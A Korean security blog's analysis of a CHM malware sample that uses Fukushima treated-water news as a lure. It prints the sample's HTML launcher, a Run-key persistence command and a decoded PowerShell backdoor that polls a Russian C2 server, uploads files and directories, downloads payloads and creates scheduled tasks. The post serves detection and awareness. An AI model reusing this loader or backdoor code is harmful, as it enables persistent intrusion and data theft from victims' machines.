꿈을꾸는 파랑새

오늘은 후쿠시마 오염수 방류 내용을 악용한 악성코드인 1.chm에 대해 글을 적어 보겠습니다.
일단 해당 정치적 이야기는 하지 않을 것이면 그냥 순수하게 악성코드만 분석하겠습니다. 일단 후쿠시마 오염수 방류(후쿠시마 처리수) 악성코드는 최근에 가장 핫한 이슈인 후쿠시마 오염수 방류(후쿠시마 처리수)내용을 다루고 있습니다.
먼저 악성코드 해쉬값은 다음과 같습니다.
파일명:1.chm
사이즈:12.6 KB
CRC32:b4756c7d
MD5:9e6a2914a35256dd450db549fb975f45
SHA-1:a7398bdf6d742d8f76219b92893b8c4317435cc1
SHA-256:b31b89e646de6e9c5cbe21798e0157fef4d8e612d181085377348c974540760a
즉 한국, 일본, 중국에서 뉴스에서 가장 자주 언급이 되는 뉴스를 다루는 사회공학적 공격(ソーシャル・エンジニアリング,social engineering) 방법을 사용하고 있으며 먼저 해당 악성코드를 분석하기 위해서 chm 파일을 분해해야 분석을 진행합니다.

후쿠시마 오염수 방류 내용이 포함된 CHM 악성코드
후쿠시마 오염수 방류 내용이 포함된 CHM 악성코드

먼저 chm 파일 내에서 Documents 부분 아래에 Start.html 부분을 열어 보아야지 해당 코드를 볼 수가 있습니다.
기존에는 mshta 명령어를 CHM 파일(hh.exe)에서 바로 실행하던 방식이었지만 최근 유포되는 파일에서는 레지스터리 에 있는 컴퓨터 시작하자 말자 실행을 하게 RUN 키에 해당 명령어를 등록하여 시스템이 재부팅될 때 실행하도록 변경을 하는 수법을 사용하고 있습니다.
먼저 해당 악성코드에 포함된 스크립트는 다음과 같습니다.

후쿠시마 오염수 악성코드 내부 소스
후쿠시마 오염수 악성코드 내부 소스

<html>
<head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'></head>
<body>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",mshta.exe, http://navercorp(.)ru/dashboard/image/202302/4(.)html ,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
x(.)Click();
</SCRIPT>
</div>

악성 스크립트 설명

해당 코드는 HTML과 JavaScript를 사용하여 웹 페이지에서 조작하려는 목적으로 사용하고 있습니다.
1. <html>, <head>, <meta>:기본 HTML 문서 구조를 정의
2.<OBJECT> 요소:
id: x라는 식별자로 객체를 정의 해당 식별자는 JavaScript에서 이후에 사용
3.<PARAM>요소 (OBJECT 요소 내부):
<PARAM> 요소를 사용하여 객체에 전달할 매개변수를 설정
Command 매개변수는 ShortCut으로 설정되며, 이것은 객체에 대한 명령을 내립니다.
Button 매개변수는 Bitmap::shortcut 으로 설정되며, 이것은 객체에서 수행할 작업을 지정합니다.
Item1 매개변수는 mshta.exe http://navercorp(.)ru/dashboard/image/202302/4(.)html 로 설정되어 있으며 실행할 프로그램과 URL을 지정하는 데 사용
Item2 매개변수는 273,1,1 로 설정되어 있으며, 추가 설정을 나타냄
4.<script> 요소:
해당 스크립트는 x.Click(); 를 호출하여 <OBJECT> 요소에 대한 클릭 이벤트를 발생시킵니다.
그리고 해당 러시아 사이트(46.254.21().69, Moscow)로 이동을 하고 해당 사이트에 접속하면 사이트에 접속하면 아무것도 없지만, 웹 소스를 보면 파워셀(PowerShell)를 이용하는 코드가 있는 것을 확인할 수가 있습니다.
일단 악성코드를 실행하면 다음과 같은 내용을 확인할 수가 있습니다.

일본의 후쿠시마 오염수 방류에도 불구하고, 극단적인 ‘노재팬’ 운동은 나타나지 않고 있다. 2019년의 ‘노노재팬’ 캠페인은 일본의 무역 보복에 반응해 생긴 운동으로, 일본 제품을 완전히 피하자는 움직임이 컸다.
그러나 현재 상황은 그와는 다르게 보인다.
과거 소비자와 판매자 모두에게 외면받던 일본 맥주는 없어서 못살 정도다.
30일 GS리테일이 운영하는 편의점 GS25에 따르면 최근 일주일(22~28일)간 일본 맥주 판매는
전월 동기 대비 35% 증가했다. 이는 수입 맥주가 1.2% 감소한 것과는 대조적인 수치다.
CU의 상황도 비슷했다. 일본 맥주 판매량은 전월 동기 대비 13% 넘게 늘어난 데 반해
수입 맥주의 경우 한 자릿수 대 성장에 그쳤다. 편의점에 방문해
수입 맥주보다 일본 맥주를 찾는 소비자가 더 많았다는 의미다.
이마트24는 전월 대비 4%대 신장률을 보였는데,
두 달 전(6월 20~26일)으로 기간을 넓혀보면 관련 매출이 220%가량 폭증한 것으로 집계됐다.
지난 24일 일본이 후쿠시마 오염수 방류를 개시하면서
일본산 제품에 대한 불신이 불매로 연결될 것이란 의견이 많았지만,
소비자들의 선택은 달랐다. 개봉 시 크림 거품이 풍성하게 올라오는
‘아사히 수퍼 드라이’ 생맥주가 5월 국내에 선보인 이후 품절 대란을 이어가는 등
일본 맥주 수요에 불을 붙인 것이 판매량을 끌어올린 것이다.
아사히 수퍼 드라이 생맥주는 편의점에 입고되는 즉시 모조리 팔려나가고 있다는 것이
편의점 업계 관계자들의 공통된 목소리다. 편의점 별로 차이가 있지만,
발주 수량도 점포당 20개 내외로 제한되고 있다.
대형마트 상황도 비슷하다. 수입 맥주를 찾는 소비자들은 정체됐지만,
롯데마트의 일본 맥주 신장률은 전월 대비 5%, 두 달 전 대비로는 20%가량 증가했다.
한 유통업계 관계자는 "아사히 수퍼 드라이가 없으면 다른 일본 맥주라도 사서 먹겠다는
소비자들이 많아지면서 1년 전 대비로 하면 판매량은 수백 퍼센트나 뛰었다"며
"후쿠시마 오염수 방류 영향은 없다고 봐야 한다"고 말했다.
후쿠시마 오염수 방류가 일본산 제품에 대한 소비를 위축시킬 것이란\
주장엔 동력이 떨어지는 모양새다.
야당을 중심으로 한 정치권에선
오염수 방류를 노재팬 운동으로 연결하려는 움직임이 있었지만,
소비자들의 달라진 성향 탓에 화력이 생각보다 약하다는 분석이다.
이은희 인하대 소비자학과 교수는 "광우병 파동과 일본 불매운동을
학습한 소비자들은 각자 판단을 통해 소비 여부를 결정할 것"이라며
"정치적 문제와 소비를 연결하려는 것에 대해서도 불편함을 느끼는
소비자들도 많아 가열찬 불매운동이 전개되긴 어렵다"고 말했다.

그리고 컴퓨터 부팅을 할 때마다 실행하기 위해서 레지스터리에 등록을 하는 키값은 다음과 같습니다.

레지스트리 경로:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
값 이름:fGZtm
값:c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo
-NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2(.)2 ||
mshta hxxp://navercorp(.)ru/dashboard/image/202302/4(.)html

파워셀(PowerShell) 명령어는 다음과 같이 수행을 합니다.

파워셀(PowerShell) 디코딩된 파워쉘 명령어
파워셀(PowerShell) 디코딩된 파워쉘 명령어

var RbarRDeFnUfuth = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
ChpbiKBeJlBIq.ShellExecute(RbarRDeFnUfuth,"-windowstyle hidden -ep bypass -ec....

파워셀(Power Shell )코드 설명

windowstyle hidden -ep bypass -ec:PowerShell 실행에 사용되는 옵션
windowstyle hidden:PowerShell 창을 숨겨진(hidden) 모드 로 실행 이렇게 하면 PowerShell 창이 사용자에게 보이지 않습니다.
ep bypass:실행 정책을 무시하고 PowerShell 스크립트를 실행
PowerShell은 기본적으로 스크립트 실행 정책을 적용하여 스크립트의 실행을 제한하는데 핻아 옵션은 그 제한을 우회
ec:명령을 실행할 때 오류를 무시하도록 설정

CyberChef(사이버 셰프)를 통한 HEX 소스 보기 및 변환
CyberChef(사이버 셰프)를 통한 HEX 소스 보기 및 변환

이렇게 하면 오류 메시지가 표시되지 않고 스크립트가 계속 실행
해당 옵션을 사용하면 PowerShell 스크립트가 백그라운드에서 무시되거나 숨겨진 창에서 실행될 수 있으며, 특정 작업을 자동화하거나 은밀하게 실행할 때 유용할 수 있습니다.

ProcessExplorer 로 본 파워셀 실행 명령어Tcpview 본 러시아 서버로 연결된 모습
ProcessExplorer 로 본 파워셀 실행 명령어 및 Tcpview 본 러시아 서버로 연결된 모습

그리고 Base 64(베이스 64)로 돼 있는 것을 디코딩하면 다음과 같은 결과를 얻을 수가 있습니다.

파워셀(PowerShell) 디코딩된 파워쉘 명령어
파워셀(PowerShell) 디코딩된 파워쉘 명령어

Start - Sleep - Seconds 68;
$VsVmaDj = 1024 * 1024;
$xwbpymdUWNs = $env: COMPUTERNAME + '-' + $env: USERNAME;
$HZgqfBKX = 'http://navercorp(.)ru/dashboard/image/202302/com(.)php' + '?U=' + $xwbpymdUWNs;
$aVNxadCxmtEQFa = $env: TEMP + '\jXShAegMEWMw';
if (!(Test - Path $aVNxadCxmtEQFa)) {
    New - ItemProperty - Path HKCU:  \ Software \ Microsoft
    \ Windows \ CurrentVersion \ Run - Name fGZtM
    - Value 'c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle
    hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2(.)2
    || mshta http://navercorp(.)ru/dashboard/image/202302/4(.)html'
    - PropertyType String - Force;
}
function XaNsYJbXjTn($CzrH, $jdWV) {
    $IJbNgpRgULETD = [System.Text.Encoding]::UTF8.GetBytes($jdWV);
    [System.Net.HttpWebRequest]$VftYZH = [System.Net.WebRequest]::Create($CzrH);
    $VftYZH.Method = 'POST';
    $VftYZH.ContentType = 'application/x-www-form-urlencoded';
    $VftYZH.ContentLength = $IJbNgpRgULETD.Length;
    $aVNxadCxmtEQFaU = $VftYZH.GetRequestStream();
    $aVNxadCxmtEQFaU.Write($IJbNgpRgULETD, 0, $IJbNgpRgULETD.Length);
    $aVNxadCxmtEQFaU.Flush();
    $aVNxadCxmtEQFaU.Close();
    [System.Net.HttpWebResponse]$RKcl = $VftYZH.GetResponse();
    $DycD = New - Object System.IO.StreamReader($RKcl.GetResponseStream());
    $aVNxadCxmtEQFaULT = $DycD.ReadToEnd();
    return $aVNxadCxmtEQFaULT;
}
function DjUui($CzrH, $vPEavROjvn, $tup, $bBqlV) {
    $Timeout = 10000000;
    $CRLF = [string]$([char]0x0D) + [string]$([char]0x0A);
    $TwoHyphens = '--';
    $Boundary = '*****';
    $stream = [System.IO.File]::OpenRead($vPEavROjvn);
    $LrB = New - Object byte[]$VsVmaDj;
    while ($bytesRead = $stream.Read($LrB, 0, $VsVmaDj)) {
        [System.Net.HttpWebRequest]$VftYZH = [System.Net.WebRequest]::Create($CzrH);
        $VftYZH.Method = 'POST';
        $VftYZH.Timeout = $Timeout;
        $VftYZH.ContentType = 'multipart/form-data;boundary=' + $Boundary;
        $aVNxadCxmtEQFaU = $VftYZH.GetRequestStream();
        $heading1 = [System.Text.Encoding]::UTF8.GetBytes($TwoHyphens + $Boundary + $CRLF);
        $aVNxadCxmtEQFaU.Write($heading1, 0, $heading1.Length);
        $heading2 = [System.Text.Encoding]::UTF8.GetBytes
        ('Content-Disposition: form-data; name=' (+) [string]$([char]0x22) 
        + $tup (+) [string]$([char]0x22) (+) ';filename=' (+) [string]$([char]0x22)
        + $bBqlV (+) [string]$([char]0x22) (+) $CRLF);
        $aVNxadCxmtEQFaU.Write($heading2, 0, $heading2.Length);
        $heading3 = [System.Text.Encoding]::UTF8.GetBytes($CRLF);
        $aVNxadCxmtEQFaU.Write($heading3, 0, $heading3.Length);
        $aVNxadCxmtEQFaU.Write($LrB, 0, $bytesRead);
        $aVNxadCxmtEQFaU.Write($heading3, 0, $heading3.Length);
        $heading4 = [System.Text.Encoding]::UTF8.GetBytes($TwoHyphens 
        (+) $Boundary (+) $TwoHyphens + $CRLF);
        $aVNxadCxmtEQFaU.Write($heading4, 0, $heading4.Length);
        $aVNxadCxmtEQFaU.Flush();
        $aVNxadCxmtEQFaU.Close();
        [System.Net.HttpWebResponse]$RKcl = $VftYZH.GetResponse();
        $DycD = New - Object System.IO.StreamReader($RKcl.GetResponseStream());
        $aVNxadCxmtEQFaULT = $DycD.ReadToEnd();
    }
    $stream.Close();
}
function DMEHsQKVUh($CzrH, $vPEavROjvn) {
    [System.Net.HttpWebRequest]$Request = [System.Net.WebRequest]::Create($CzrH);
    $Request.set_Timeout(15000);
    $Response = $Request.GetResponse();
    $ResponseStream = $Response.GetResponseStream();
    $SplitSize = 1024;
    $Buffer = New - Object - TypeName Byte[] - ArgumentList $SplitSize;
    Try {
        Do {
            $Count = $ResponseStream.Read($Buffer, 0, $SplitSize);
            $offset = $Count - 1;
            Add - Content $vPEavROjvn $Buffer[0..$offset] - Encoding Byte;
        }
        Until($Count - eq 0)
    }
    Catch {}
    Finally {
        $ResponseStream.Dispose();
    }
}
do {
    Try {
        $eVjVOGIKMDUC = XaNsYJbXjTn $HZgqfBKX '';
        If($eVjVOGIKMDUC - ne 'null' - and $eVjVOGIKMDUC - ne '') {
            $eVjVOGIKMDUC = $eVjVOGIKMDUC.SubString(1, $eVjVOGIKMDUC.Length - 2);
            $cie = [System.Text.Encoding]::UTF8.GetString([System.Convert]
            ::FromBase64String($eVjVOGIKMDUC));
            if ($cie) {
                if ($cie.Contains('fileinfo:')) {
                    $MejXC = $cie.SubString(9);
                    if (Test - Path - Path $MejXC) {
                        $filename = $aVNxadCxmtEQFa + '.csv';
                        Get - ChildItem $MejXC - Filter * . * -Recurse
                        | Select - Object Name,
                        Length,
                        LastWriteTime,
                        Fullname | Export - Csv - Path $filename - Force
                        - NoTypeInformation - Encoding utf8;
                        $attachment_name = '_file';
                        $nowtime = Get - Date - Format yyyy - MM - dd_HH_mm_ss;
                        $attachment_filename = $nowtime + '_fileinfo';
                        DjUui $HZgqfBKX $filename $attachment_name $attachment_filename;
                        Remove - Item - Path $filename;
                    }
                }
                if ($cie.Contains('dir:')) {
                    $MejXC = $cie.SubString(4);
                    if (Test - Path - Path $MejXC) {
                        $filename = $aVNxadCxmtEQFa + '.zip';
                        Compress - Archive $MejXC $filename - Force;
                        $attachment_name = '_file';
                        $nowtime = Get - Date - Format yyyy - MM - dd_HH_mm_ss;
                        $attachment_filename = $nowtime + '_dir';
                        DjUui $HZgqfBKX $filename $attachment_name $attachment_filename;
                        Remove - Item - Path $filename;
                    }
                }
                if ($cie.Contains('file:')) {
                    $MejXC = $cie.SubString(5);
                    if (Test - Path - Path $MejXC) {
                        $attachment_name = '_file';
                        $nowtime = Get - Date - Format yyyy - MM - dd_HH_mm_ss;
                        $attachment_filename = $nowtime + '_file';
                        DjUui $HZgqfBKX $MejXC $attachment_name $attachment_filename;
                    }
                }
                if ($cie.Contains('down:')) {
                    $MejXC = $cie.SubString(5);
                    $CharArray = $MejXC.Split('||');
                    if ($CharArray.Length - eq 3) {
                        DMEHsQKVUh $CharArray[0]$CharArray[2];
                        $sEKcDXrYaIVwf = 'R=' + [System.Convert]
                        ::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
                if ($cie.Contains('regedit:')) {
                    $MejXC = $cie.SubString(8);
                    $CharArray = $MejXC.Split('||');
                    if ($CharArray.Length - eq 5) {
                        New - ItemProperty - Path $CharArray[0] - Name $CharArray[2]
                        - Value $CharArray[4] - PropertyType String - Force;
                        $sEKcDXrYaIVwf = 'R=' (+) [System.Convert]
                        ::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
                if ($cie.Contains('task:')) {
                    $MejXC = $cie.SubString(5);
                    $CharArray = $MejXC.Split('||');
                    if ($CharArray.Length - eq 5) {
                        $Action = New - ScheduledTaskAction - Execute $CharArray[4];
                        $Settings = New - ScheduledTaskSettingsSet;
                        $trigger = New - ScheduledTaskTrigger - Once
                        - At(Get - Date) - RepetitionInterval(New - TimeSpan - Minutes 10);
                        $Task = New - ScheduledTask
                        - Action $Action - Trigger $Trigger - Settings $Settings;
                        Register - ScheduledTask - TaskName $CharArray[2]
                        - TaskPath $CharArray[0] - InputObject $Task;
                        $sEKcDXrYaIVwf = 'R=' (+) [System.Convert]::
                        ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
                if ($cie.Contains('zip:')) {
                    $MejXC = $cie.SubString(4);
                    $CharArray = $MejXC.Split('||');
                    if ($CharArray.Length - eq 3) {
                        Expand - Archive $CharArray[0]$CharArray[2];
                        $sEKcDXrYaIVwf = 'R=' (+) [System.Convert]
                        ::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
                if ($cie.Contains('rename:')) {
                    $MejXC = $cie.SubString(7);
                    $CharArray = $MejXC.Split('||');
                    if ($CharArray.Length - eq 3) {
                        Rename - Item $CharArray[0]$CharArray[2];
                        $sEKcDXrYaIVwf = 'R=' + [System.Convert]
                        ::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
                if ($cie.Contains('del:')) {
                    $MejXC = $cie.SubString(4);
                    if (Test - Path - Path $MejXC) {
                        Remove - Item $MejXC;
                        $sEKcDXrYaIVwf = 'R=' + [System.Convert]
                        ::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ok'));
                        XaNsYJbXjTn $HZgqfBKX $sEKcDXrYaIVwf;
                    }
                }
            }
        }
    }
    Catch {}
    Start - Sleep - Seconds 5;
} while ($true - eq $true)

코드 분석

1. 초기 설정:
Start-Sleep -Seconds 68 명령은 스크립트가 시작되고 68초 동안 대기하는 명령
$VsVmaDj 변수에는 1024 * 1024 (1MB)가 할당되어 있습니다.
$xwbpymdUWNs 변수에는 현재 컴퓨터의 이름과 사용자 이름이 결합한 값이 저장
$HZgqfBKX 변수에는 원격 서버의 URL이 저장
$aVNxadCxmtEQFa 변수에는 임시 디렉터리와 파일 이름이 결합한 경로가 저장
2.자동 실행 등록:
Test-Path를 사용하여 $aVNxadCxmtEQFa 경로의 파일 존재 여부를 확인
파일이 없는 경우, 현재 사용자의 레지스트리 항목인`HKCU:\Software\Microsoft\Windows\CurrentVersion\Run 에 새로운 항목을 만들어 cmd.exe를 실행하고 그 안에서 PowerShell을 실행하여 특정 IP 주소로의 ping 명령을 실행하거나 mshta 를 통해 웹 페이지를 열며 자동 실행되도록 설계됨
3. 함수 정의:
XaNsYJbXjTn 함수: 원격 서버로 데이터를 POST 방식으로 전송하는 함수
DjUui 함수: 파일을 원격 서버에 업로드하는 함수입니다.
DMEHsQKVUh 함수: 원격 서버에서 파일을 다운로드하는 함수
4. 주요 작업 수행:
무한 루프(`while ($true -eq $true)`)가 시작
루프 내부에서 원격 서버($HZgqfBKX)로부터 데이터를 가져오고 해당 데이터에 따라 다양한 작업을 수행
가능한 작업은 파일 정보 수집, 디렉터리 압축, 파일 올리기, 파일 다운로드,레지스트리 변경, 예약 작업 등이 있음
각 작업은 원격 서버와의 통신을 통해 수행되며 결과는 다시 서버로 전송

컴퓨터 데이터 수집 코드
컴퓨터 데이터 수집 코드

개인정보 수집 관련 코드 분석 및 설명

해당 부분은 원격 서버에서 받아온 명령 및 데이터를 처리하는 부분
해당 작업은 주로 원격에서 제어할 수 있는 기능을 구현하려는 것임
1. $eVjVOGIKMDUC = XaNsYJbXjTn $HZgqfBKX :XaNsYJbXjTn 함수를 호출하여 $HZgqfBKX 로 지정된 URL에서 데이터를 가져와서 $eVjVOGIKMDUC 변수에 저장
URL에 대한 요청은 POST 방식으로 이루어지며 아무런 데이터도 전송하지 않음
2. If($eVjVOGIKMDUC -ne 'null' -and $eVjVOGIKMDUC -ne ''):$eVjVOGIKMDUC 변수에 저장된 데이터가 null이 아니고 비어 있지 않은 경우를 확인하는 조건문
3.$eVjVOGIKMDUC = $eVjVOGIKMDUC.SubString(1, $eVjVOGIKMDUC.Length - 2):
문자열 앞뒤의 불필요한 문자를 제거하고, 암호화된 데이터를 얻으려고 문자열을 가공
이전에 데이터를 암호화할 때 데이터의 시작과 끝에 추가한 문자를 제거합니다.
4.$cie = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($eVjVOGIKMDUC)):Base64로 인코딩된 데이터를 디코딩하여 $cie 변수에 저장 해당 데이터는 명령 또는 작업을 나타냅니다.
5.$cie 변수에 저장된 데이터의 내용을 확인
if ($cie.Contains('fileinfo:')):만약 데이터가 fileinfo:를 포함하고 있다면 파일 정보를 가져와서 CSV 파일로 내보냅니다.
그런 다음 파일을 원격 서버로 업로드하고 업로드가 완료되면 로컬 파일을 삭제
if ($cie.Contains('dir:')):데이터가 dir:를 포함하고 있다면, 지정된 디렉터리를 압축하여 ZIP 파일로 만들고 해당 ZIP 파일을 원격 서버로 업로드 합니다. 그런 다음 로컬 ZIP 파일을 삭제합니다.
if ($cie.Contains('file:')):데이터가 file: 를 포함하고 있다면, 지정된 파일을 원격 서버로 업로드 합니다.
if ($cie.Contains('down:')):데이터가 down: 를 포함하고 있다면, 원격 서버에서 파일을 다운로드 하고 로컬에 저장
if ($cie.Contains('regedit:')):데이터가 regedit:를 포함하고 있다면 레지스트리를 수정하고 새 레지스트리 항목을 생성
if ($cie.Contains('task:')):데이터가 task:를 포함하고 있다면 예약된 작업(Task Scheduler)을 만들고 실행
if ($cie.Contains('zip:')):데이터가 zip:를 포함하고 있다면 ZIP 파일을 압축 해제
if ($cie.Contains('rename:')):데이터가 rename: 를 포함하고 있다면 파일 또는 디렉터리의 이름을 변경
if ($cie.Contains('del:')):데이터가 del:를 포함하고 있다면, 파일 또는 디렉터리를 삭제
해당 코드는 원격 서버로부터 수신된 명령 및 데이터를 처리하고 시스템에서 다양한 작업을 수행하는 데 사용됩니다.
2023-09-05 16:04:16 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/HTML.RUNNER.S2208
ALYac:Trojan.Downloader.CHM
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
ESET-NOD32:HTML/TrojanDownloader.Agent.NLW
K7AntiVirus:Trojan (0001140e1)
K7GW:Trojan (0001140e1)
Kaspersky:UDS:DangerousObject.Multi.Generic
McAfee-GW-Edition:Artemis!Trojan
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Sangfor Engine Zero:Trojan.Generic-Script.Save.f8c288c6
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan-Downloader.Ader.Bplw
TrendMicro:TROJ_FRS.VSNTI123
TrendMicro-HouseCall:TROJ_FRS.VSNTI123
ViRobot:CHM.S.Agent.12915
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.Script.Agent.gen
입니다. 기본적으로 백신 프로그램은 필수적으로 가동하고 있어야 하면 그리고 제일 중요한 것은 기본적인 보안수칙을 잘 지켜야 하면 해당 악성코드는 공격자의 명령에 따라 추가 파일 다운로드 및 정보 탈취 등 다양한 악성 행위를 수행할 수 있게 돼 있고 그리고 정기적으로 백신 프로그램으로 날 잡고 한번 전체검사를 실행해야 안전하게 컴퓨터를 사용할 수가 있습니다.

 

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band